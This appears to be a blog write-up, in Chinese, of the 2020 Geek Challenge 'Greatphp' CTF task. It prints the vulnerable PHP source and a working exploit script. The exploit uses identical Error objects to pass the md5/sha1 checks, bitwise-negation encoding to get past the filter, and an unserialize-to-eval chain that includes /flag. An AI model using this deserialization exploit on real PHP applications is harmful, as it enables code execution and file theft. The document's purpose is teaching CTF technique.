[极客大挑战2020]Greatphp
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
|
这一个条件,在普通的题目里,只需要用数组绕过即可,但是这里是在类中,该怎么绕过呢?
我们可以使用含有 __toString 方法的php内置类来绕过,用的两个比较多的内置类是 Exception 和Error ,他们之中有一个 __toString fangfa ,当类被当作字符串处理时,就会调用这个函数,以Error 类为例,我们可控当触发他的__toString 方法时会发生什么?
发现会以字符串的形式 输出当前报错,包含当前的错误信息, 以及他出现错误的行号 (3),从而传入Error (“payload”,9)中的错误代码 “9 ” 则没有被输出出来,再来看看如何 绕过md5以及 sha1.
可见 $a 和$b 这两个对象本身是不同的。但是 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前的行号
Exception 类与Error 类的使用和结果完全一样,只不过Exception 类适用于PHP 5和7 而Error 只适用于php7
我们可以将题目代码中的$syc 和 $lover 分别声明为类似上面的内置类对象,让着两个对象本身不同 (传入的错误代码即可), 但是 __toString 方法输出的结果相同即可。
由于题目 用preg_match 过滤了小括号 无法调用函数,所以我们尝试 直接 include “/flag” 将flag 包含进来即可,由于过滤了引号,我们直接用url 取反绕过即可。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} }
} $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c)));
?>
|
总结:
error 原生类 __toString 方法的结果是相同的。 记住行号也需要一样,他们的值是不一样的,但是呢, 结果的md5值是一样的,从而可以绕过 。执行eval 函数,eval include /flag。
对php 原生类 有了些许了解,但还需要继续学习。
Author:
odiws
Permalink:
http://odiws.github.io/2024/07/28/2020-Greatphp/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?